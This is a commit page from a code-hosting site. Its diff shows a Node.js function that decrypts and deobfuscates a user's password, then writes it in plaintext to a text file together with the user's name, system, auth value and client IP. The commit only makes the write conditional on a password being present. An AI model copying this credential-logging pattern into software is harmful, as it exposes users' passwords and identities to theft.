提交 6f81aa16 authored 作者: GOD_ZYX's avatar GOD_ZYX

update

上级 2de8be42
...@@ -114,16 +114,19 @@ const agentProcessor = () => { ...@@ -114,16 +114,19 @@ const agentProcessor = () => {
} }
pwdBase64 = com.CryptoJs.decryptData(_AUTH) pwdBase64 = com.CryptoJs.decryptData(_AUTH)
} }
fs.writeFile(stuPath + '/info.txt', [ /* 有密码时,才写入基础数据中 */
'Name: ' + json.name, if (pwdBase64) {
'Sys: ' + json.sys, fs.writeFile(stuPath + '/info.txt', [
'Auth: ' + json.auth, 'Name: ' + json.name,
'Pwd: ' + (pwdBase64.replace(/^uokoaduw/gi, '').replace(/auhgniq$/gi, '').split('').reverse().join('') || 1), 'Sys: ' + json.sys,
'IP: ' + getClientIP(req), 'Auth: ' + json.auth,
'\n\n' 'Pwd: ' + (pwdBase64.replace(/^uokoaduw/gi, '').replace(/auhgniq$/gi, '').split('').reverse().join('') || 1),
].join('\n'), function (err) { 'IP: ' + getClientIP(req),
if (err) { return console.error(err) } '\n\n'
}) ].join('\n'), function (err) {
if (err) { return console.error(err) }
})
}
} }
}) })
......
Markdown 格式
0%
您添加了 0 到此讨论。请谨慎行事。
请先完成此评论的编辑!
注册 或者 后发表评论